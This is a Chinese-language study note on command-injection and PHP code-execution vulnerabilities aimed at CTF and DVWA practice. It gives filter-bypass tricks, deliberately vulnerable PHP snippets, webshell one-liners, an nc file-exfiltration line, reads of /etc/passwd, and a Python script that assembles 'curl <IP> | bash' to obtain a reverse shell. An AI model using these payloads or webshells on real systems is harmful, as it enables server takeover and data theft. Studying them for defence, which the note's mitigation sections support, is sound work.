命令执行漏洞
RCE远程代码执⾏, 命令执⾏是常⻅漏洞之⼀.应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
命令执行漏洞利用条件:
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到了命令行中
- 没有对用户输入进行过滤或过滤不严
漏洞危害:
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell(web端,webshell,shell)
- 控制整个网站甚至服务器
- 提权进一步内网渗透
- 等等
Table of Contents
漏洞利用方法 常见绕过方式
空格绕过
$IFS
$IFS$数字
${IFS}
$IFS$数字
$IFS$9
<
<> ls<>-al
{}包裹{ls,参数}
/**/
%09(tab)
%20(空格
命令分隔符
Linux分隔符: %0a, %0d, ;, &, &&, |, ||, <>
window分隔符: %0a, &, |, %1a (⼀个神奇的⻆⾊,作为.bat⽂件中的命令分隔符)
命令执⾏的别样用法
在linux bash中还可以使⽤ {OS_COMMAND,ARGUMENT} 来执⾏系统命令
例如:
{cat,flag} system() var_dump(``)
拼接绕过
$a=l
$b=s
$a$b //执⾏ls
关键字绕过
who\am\i 续⾏符 \ 转义符号 \$
who"am"i
cat fla[ghd]
ca''t flag
cat fla*
cat fla? 匹配单个字符
骚姿势绕过
tac //抓取后反向输出
ls -i //输出节点信息,通过inode 抓取
od //⼆进制读取
sort //查看
cat tac more less head tail
8字符命令执行
>cat
* flag
或者
如下:
cat /flag
curl 81.70.245.6 | bash
>bash
>\|\ \\
>45.6\\
>x
可以⽣成⼀个名为 x 的⽂件,命令分开执⾏,最后再通过 ls -t>y.sh
就可以将当前⽬录下所有⽂件名写⼊y.sh.
参考:
#encoding:utf-8
import requests
baseurl = "http://81.70.245.6:6612/?cmd="
s = requests.session()
# curl 101.32.213.202|bash
# curl 116.62.241.170 | bash
list=[
">bash",
">\|\\",
">5.6\\",
">24\\",
">70.\\",
">81.\\",
">\ \\",
">rl\\",
">cu\\"
]
for j in list:
url = baseurl+str(j)
print (url)
s.get(url)
s.get(baseurl+"ls -t>y")
s.get(baseurl+"sh y")
倒着写命令,最后的排序有关系, ls -t 是按照时间顺序来排的 ls -t 按时间进⾏⽂件的排序 Time(时间), 这种
时候可以通过请求远程服务器的内容,然后通过 | 传递给bash 进⾏执⾏,达到反弹shell的⽬的
exec无回显绕过
<?php
$c = $_GET[c];
if(strlen($c) < 16){
exec($c);
}else{
echo "too long!";
}
highlight_file(__FILE__);
?>
<?php
echo "The web root directory will be emptied every two minutes.";?>
cat /flag > a
cat '<?php @eval($_GET[cmd]);?>' > shell.php
cat '<?ph' > s
echo 'p @e'
echo '@eval'
?>
读取⽂件时ctf常⻅的题⽬类型,主要是考察对执⾏命令和WAF拦截⽅式对熟悉程度,绕过需要了解过滤⽅式和⼀些
不常⻅函数.
查看⽂件命令:
除了常规的:
----------------------------------------------------------------------------------
cat:由第⼀⾏开始显示内容,并将所有内容输出
tac:从最后⼀⾏倒序显示内容,并将所有内容输出
more:根据窗⼝⼤⼩,⼀⻚⼀⻚的现实⽂件内容
less:和more类似,但其优点可以往前翻⻚,⽽且进⾏可以搜索字符
head:只显示头⼏⾏
tail:只显示最后⼏⾏
nl:类似于cat -n,显示时输出⾏号
tailf:类似于tail -f
-----------------------------------------------------------------------------------
Linux花式读取⽂件内容
ps:⽬标是获取flag.txt的内容
static-sh读取⽂件:
static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}: not found
-----------------------------------------------------------------------------------
paste读取⽂件:
paste ./flag.txt /etc/passwd
#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
----------------------------------------------------------------------------------
diff读取⽂件 :
diff ./flag.txt /etc/passwd
#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
---
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
-----------------------------------------------------------------------------------
od读取⽂件
od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
-----------------------------------------------------------------------------------
bzmore读取⽂件:
bzmore ./flag.txt
#输出结果:
------> ./flag.txt <------
flag{this_is_a_test}
-----------------------------------------------------------------------------------
bzless读取⽂件:
bzless ./flag.txt
echo `bzless ./flag.txt`
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}
-----------------------------------------------------------------------------------
curl读取⽂件:
curl file:///home/coffee/flag
-----------------------------------------------------------------------------------
nc 传输⽂件
靶机:
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
----------------------------------------------------------------------------------
wget
wget url -P path
管道符(命令拼接符)
& | ⽆论左边真假,右边都执⾏ |
&& | 左边为真时,右边执⾏ |
| | 通道符,⽆论左边真假,右边都执⾏ |
|| | 左边为假时,右边执⾏ |
; | 表示隔断,常⽤于单⾏语句区分代码块 |
%0a | 换⾏符,多⾏区分代码块 |
%0b | 同%0a |
command1 && command2
先执⾏command1,成功后在执⾏command2,如果失败则不执⾏command2command1 & command2
先执⾏command1,⽆论成功与否都执⾏command2command1 | command2
管道,直接将command1的输出作为command2的标准输⼊,只打印command2的标准
输出command1 || command2
或者,command1执⾏失败后执⾏command2,如果执⾏成功则不执⾏command2command1 ; command2
前后之间没有关系,所有命令⽆论失败都会执⾏,从左往右依次执⾏
dvwa command in参考地址 https://www.cnblogs.com/yyxianren/p/11381782.html
https://blog.csdn.net/qq_41617034/article/details/90221943
空格过滤
${IFS}
$IFS$9
%09
<或者<>重定向
/**/
黑名单绕过
- 变量拼接
- 单引号,双引号绕过
- 编码绕过
- 反斜线
- $1,$2等
通配符绕过
?代表一个字符*代表一串字符
内敛执行绕过
`命令`和$(命令)都是执行命令的方式
绕过长度限制
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入
命令换行
换行执行命令
可以尝试写一个文件来执行命令
echo "ca\\">shell
echo "t\\">>shell
echo " fl\\">>shell
echo "ag">>shell
cat shell
ca\
t\
fl\
ag
zxcv0221@kali:~/桌面$ sh shell
危险函数
php
eval()
assert()
preg_replace() # 正则表达式 /e
call_user_func()
call_user_func_array()
create_function
array_map()
系统命令
system($_GET[cmd]);
?cmd=ls
system()
passthru()
exec()
fcntl_exec()
shell_exec()
popen()
``
ob_start()
PHP代码执行漏洞
php 代码执⾏(注⼊)是指(web⽅⾯)应⽤程序过滤不严,⽤户可以通过请求将代码注⼊到应⽤中执⾏.代码执⾏类似
SQL注⼊漏洞,sqli是将sql语句注⼊到数据库中执⾏,⽽代码执⾏则是将代码注⼊到应⽤中最终由服务器运⾏它.这样
的漏洞如果没有特殊的过滤,相当于直接有⼀个web后⻔的存在.
- 程序中含有可执⾏php代码的函数或者语⾔结构.
- 传⼊第⼀点中的参数,客户端可控,直接修改或者影响.
漏洞危害
可以通过代码执⾏漏洞继承web⽤户权限,执⾏任意代码. 如果具有服务器没有正确配置,web⽤户权限⽐较⾼的话,可
以读写⽬标服务器任意⽂件内容,甚⾄控制整个⽹站以及服务器.php中有很多函数和语句都会造成php代码执⾏漏
洞. - php代码 — 》 s
eval()
eval()会将字符串当做php代码执⾏
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
eval($code);
}else{
echo "please submit code!<br />?code=phpinfo();";
}
?>
eval(" ");
探针⽂件
php.ini
allow_url_open
// 提交变量 ?code=phpinfo();
// 或者?code=${phpinfo()};
// 或者?code=1;phpinfo();
注意⼀句话⽊⻢
<?php
$str="phpinfo();"; // echo md5(123456);
eval($str);
?>
REQUEST预定义超全局数组
assert()
assert()同样会作为php代码执⾏ assert⽀持动态嵌套
$a = "ass";
$b = "ert";
$c=$a.$b;
$c(phpinfo(););
php8
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
assert($code);
}else{
echo "please submit code!<br />?code=phpinfo()";
}
?>
// 提交参数: ?code=phpinfo();
preg_replace()
perg_match('/java/e')
str_replace(' ','')
函数的作⽤是对字符串进⾏正则处理.
参数和返回值如下:
mixed preg_replace(mixed $pattern,mixed $replacement, mixed $subject [,int limit = -1
[,int &$count]])
// 这段代码:搜索$subject中匹配$pattern的部分,以replacement进⾏替换,⽽当$pattern处,即第⼀个参数存
在e修饰符时,$replacement的值会被当成php代码来执⾏.典型代码如下:
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
preg_replace("/\((.*)\)/e", '\\1', $code); // \\1 标识第⼀次匹配的内容 [.*]
}else{
echo "?code=[phpinfo()]";
}
?>
/(.*)/e
(phpinfo();)
(phpinfo();
?code=()
// 提交?code=(phpinfo();, phpinfo会被执⾏
(phpinfo();)
call_user_func()
call_user_func()等函数都有调⽤其他函数的功能,其中的⼀个参数作为要调⽤的函数名,如果传⼊的函数名可控,那就
可以调⽤以外的函数来执⾏我们想要的代码,也就是存在任意代码执⾏漏洞.
该函数有两个参数,第⼀个参数作为回调函数,后⾯的参数作为回调函数的参数,测试代码如下
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para); call_user_func(assert,phpinfo(););
}else{
echo "?fun=assert&para=phpinfo()";
}
?>
提交参数?fun=assert¶=phpinfo()
动态函数a(b)
由于php的特性原因,php的函数⽀持直接有拼接的⽅式调⽤,这直接导致了php在安全上的控制⼜加⼤了难度.不少知名程序中也⽤到了动态函数的写法,这种写法跟使⽤call_user_func()的初衷⼀样,⽤来⽅便地调⽤函数,但是⼀旦过滤不严格就会造成代码执⾏漏洞.测试代码如下:
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b); // assert(phpinfo();)
}else{
echo "
?a=assert&b=phpinfo()
";
}
?>
提交参数: ?a=assert&b=phpinfo()
漏洞利用
直接获取shell
读写⽂件
为进⼀步的攻击提供起点
var_dump()输出相关变量的信息
<?php
include "flag.php" ;
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);
?>
防御方法
- 尽量不要使⽤eval函数,php⼀种语⾔结构,不是函数
- 如果要使⽤的话⼀定要严格的过滤
- preg_replace放弃使⽤/e修饰符
- 修改php.ini禁⽤相关的函数
disable_functions = assert, 禁⽤assert函数,重启服务器
实战:Seacmsv6.26 命令执⾏ 6.53 6.54 6.55
/search.php?searchtype=5&tid=&area=eval(phpinfo())
docker pull zksmile/vul:seacmsv6.26
ping -c 3 [2-254]....
过滤
disable_functions
系统命令注入
原理以及成因
程序员使⽤脚本语⾔(⽐如php)开发应⽤程序过程中,脚本语⾔开发⼗分快速,简洁,⽅便,但是同样伴随着⼀些问题.⽐
如语速慢或者⽆法接触系统底层,如果开发的应⽤,特别时⼀些企业级的⼀些应⽤需要去调⽤⼀些外部程序(系统命令
或者exe等可执⾏⽂件).当应⽤需要调⽤⼀些外部程序时就会⽤到⼀些系统命令的函数.
应⽤在调⽤这些函数执⾏系统命令的时候,如果将⽤户的输⼊作为系统命令的参数拼接到命令⾏中,在没有过滤⽤户
的输⼊情况下,就会造成命令执⾏漏洞.
- ⽤户输⼊作为拼接
- 没有⾜够的过滤
相关函数
system()
system()能够将字符串作为os命令执⾏,⾃带输出功能.测试代码如下
string system ( string \$command [, int&\$return_var ] )
与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出)
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
}else{
echo "?cmd=ipconfig";
}
?>
<?php system($_REQUEST[cmd])?>
?cmd=whoami
exec
exec()函数能将字符串作为os命令执⾏,需要输出执⾏结果.测试代码如下: 返回的结果有限
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print exec($_GET['cmd']); // 返回的结果有限
}else{
echo "?cmd=whoami";
}
?>
exec执⾏command命令,但是不会输出全部结果,⽽是返回结果的最后⼀⾏,如果你想得到全部的结果,可以使⽤第⼆个参数,让其输出到⼀个数组,数组的每⼀个记录代表了输出的每⼀⾏,如果输出结果有10⾏,则数组就有10条记录。所以如果你需要反复输出调⽤不同系统外部命令的结果,你最好在输出每⼀条系统外部命令结果时清空这个数组,以防混乱。第三个参数⽤来取得命令执⾏的状态码,通常执⾏成功都是返回0。举例:
<?php
exec('ls /home/xyw/test');
?>
没有输出。
<?php
exec('ls /home/xyw/test',$arr);
print_r($arr);
?>
输出:
Array
(
[0] => list.txt
[1] => list.txt.ln
[2] => tcpdump中⽂⼿册.doc
[3] => test1
[4] => 校徽.jpg
[5] => 浪潮之巅.pdf
)
shell_exec()
是反撇号 (`) 操作符的变体。执⾏命令没有返回结果
<?php
if(isset($_GET['cmd'])){
print shell_exec($_GET['cmd']);
}else{
echo "?cmd=whoami";
}
?>
passthru
也是⾃带输出,有相关的返回结果
原型:void passthru ( string $command [, int &$return_var ] )
与exec的区别:返回结果有限,passthru返回结果正常返回。
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}else{
echo "?cmd=whoami";
}
?>
popen()
popen()也能够执⾏os命令,但是该函数并⾮时返回命令结果,⽽是返回⼀个⽂件指针.⽆论返回什么,我们关⼼的是命
令执⾏了.
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">> 1.txt";
popen($cmd, 'r');
}else{
echo "?cmd=whoami";
}
?>
// 查看1.txt⽂件
反引号`
反引号内的字符串,也会被解析成os命令.测试代码如下; 语⾔结构
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}else{
echo "?cmd=whoami";
}
?>
漏洞利用
os命令注⼊漏洞,攻击者直接继承web⽤户权限,在服务器上执⾏任意命令,危害特别⼤.以下命令均在windows系统下 测试成功.
1.查看系统⽂件
提交参数 ?cmd=type c:\windwos\system32\drivers\etc\hosts 查看系统hosts⽂件
2.显示当前路径
提交参数: ?cmd=cd
3.写⽂件
提交参数: ?cmd=echo ” > D:\xampp\htdocs\Commandi\shell.php”
⻚⾯没有报错,说明⽂件写⼊成功,访问shell.php⽂件.
防御⽅法:
1. 尽量减少命令执⾏函数的使⽤,并在disable_functions中禁⽤
2. 在进⼊命令执⾏的函数或⽅法之前,对参数进⾏过滤
3. 参数的值尽量使⽤引号包裹,并在拼接前调⽤addslashes进⾏转义
dvwa命令注入
发现乱码,
乱码解决方法:
解决此问题的方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可
low:
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami
medium
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
127.0.0.1&&&&whoami
high
127.0.0.1|whoami
impossible
Impossible
难度使用了白名单,要求输入为xxx.xxx.xxx.xxx
的格式,xxx
还要求是数字,基本上就没有什么安全漏洞了。
cat filename
tac filename
more filename
less filename
head filename
tail filename